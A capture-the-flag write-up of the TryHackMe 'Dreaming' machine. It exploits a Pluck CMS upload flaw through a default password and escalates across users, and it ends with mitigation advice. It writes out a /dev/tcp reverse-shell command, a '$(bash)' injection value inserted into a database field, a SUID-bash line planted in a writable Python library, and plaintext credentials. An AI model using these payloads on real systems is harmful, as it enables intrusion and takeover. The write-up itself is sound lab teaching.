Post

TryHackMe - Dreaming


Description:

Dreaming from TryHackMe has a CMS vulnerable to file upload that leads to command execution. On the machine we find multiple files that contains clear text passwords, we also find a script vulnerable to command injection which we used to escalate horizontally. Another script we found calls a library we have write permission over so we exploit it to complete the machine.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.137.113
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have ssh on port 22 and Apache on port 80.

Web

Let’s navigate to the web page:

webpage

That’s Apache default page.

feroxbuster

Let’s run a directory scan and see what we can find.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(sirius㉿kali)-[~/CTF/THM]
└─$ feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.137.113/ -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.137.113/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       15l       74w     6147c http://10.10.137.113/icons/ubuntu-logo.png
200      GET      375l      964w    10918c http://10.10.137.113/
301      GET        9l       28w      312c http://10.10.137.113/app => http://10.10.137.113/app/
[####################] - 80s    20483/20483   0s      found:3       errors:6      
[####################] - 80s    20477/20477   257/s   http://10.10.137.113/                   

We found /app.

app

This has directory listing on so we can see another directory with the name pluck-4.7.13.

pluck

Clicking on admin sends us to a login page.

login

This page only asks us for a password, I tried some default ones like admin and password and managed to login with the latter.

pass

Let’s see if we can find any exploit in this version of pluck.

1
2
3
4
5
6
7
searchsploit pluck 4.7.13
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)                                                                                                            | php/webapps/49909.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

This is vulnerable to File Upload that leads to remote code execution.

Foothold

Let’s copy the exploit to our working directory with searchsploit -m php/webapps/49909.py

Checking the script we find it requires 4 arguments, target_ip target_port password and pluckcmspath.

The final command will look like this:

1
python3 49909.py 10.10.137.113 80 password /app/pluck-4.7.13

Let’s run it.

1
2
3
4
5
$ python3 49909.py 10.10.137.113 80 password /app/pluck-4.7.13

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://10.10.137.113:80/app/pluck-4.7.13/files/shell.phar

That was successful, now let’s go to the shell page.

shell

Now let’s get a reverse shell by running the following command on the webshell:

1
bash -c 'exec bash -i &>/dev/tcp/10.8.238.231/9001 <&1'

Change the ip address in the command

revshell

Privilege Escalation

www-data -> lucien

Checking the /opt directory we find two files.

password

We found a password that might belong to user lucien.

Let’s try ssh as lucien with the password.

ssh

That was successful.

lucien -> death

let’s check our privileges:

1
2
3
4
5
6
lucien@dreaming:~$ sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

We can run a python script as user death.

There is a copy of getDreams.py in the /opt directory but it’s missing a password.

The script seems to connect to the mysql database and retrieves some data.

1
2
3
4
5
6
7
8
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

Checking the source code we find more information on how the script works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query = "SELECT dreamer, dream FROM dreams;"                                                                                                                                         
                                                                                                                                                                                             
        # Execute the query                                                                                                                                                                  
        cursor.execute(query)                                                                                                                                                                
                                                                                                                                                                                             
        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()
                                               
        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

After connecting to Mysql and the Library database, it queries a table called dreams for two columns dreamer and dream (Bob Exploring ancient ruins).

In a for loop for dream_info in dreams_info it keeps pulling data and stores it in a shell command that uses echo to print the output.

Here we can see a clear command injection vulnerability.

But we need a way to connect to the database and add our malicious data.

On lucien’s home directory we notice that the history file is not empty.

historyfile

We found credentials for mysql, let’s connect.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
lucien@dreaming:~$ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select dreamer, dream FROM dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql>

Now we need to add our code.

1
INSERT INTO dreams (dreamer, dream) VALUES ("injection", "$(bash)");

injection

Great! Now exit mysql and run the sudo command.

sudo

We got a shell as death but we’re not getting any output from the commands we run.

Since the getDreams.py has a password of death and printed it and piped it to wall which writes a message to all user hoping a would get it in the first shell but just got in the current one and managed to read the password.

I got a new ssh shell as lucien and tried this trick again and got the message, maybe because the reverse shell was missing something and didn’t get the shell.

wall

Now we run su death and submit the password.

death -> morpheus

Let’s check morpheus’s home directory

morpheushome

There is a python script that seems to be taking a backup of the kingdom file.

1
2
3
4
5
6
7
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

I run pspy64 to see if there is a cronjob running the file.

pspy

We confirmed there is a cronjob.

We see the script is using the shutil library. Let’s locate it and see if we can modify it.

library

Great! We have write permission over it.

Let’s add a python reverse shell to the file.

1
os.system("cp /bin/bash /home/morpheus/bash && chmod +s /home/morpheus/bash")

suid

This will create a copy of bash with suid bit on morpheus’s home directory

suidbash

We got a shell as morpheus.

Prevention and Mitigation

Default credentials

We were able to login because the password was easy to guess.

Default passwords should be changed to a strong and hard to guess password

Pluck 4.7.13

This version of Pluck is vulnerable to file upload so it needs to be updated to a newer version.

Plaintext password

We found three plain text passwords on the system, two of them belong to user lucien and the other to user death.

Passwords should never be stored in plain text but rather hashed using strong algorithms.

Command injection

getDreams.py script is vulnerable to command injection. It’s better to use libraries to carry out actions instead of calling OS commands directly

Python library

We were able to edit the shutil library which was being called in the restore.py script.

User death has write permission which is unnecessary for the script to run properly and the permission should be revoked.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).


This post is licensed under CC BY 4.0 by the author.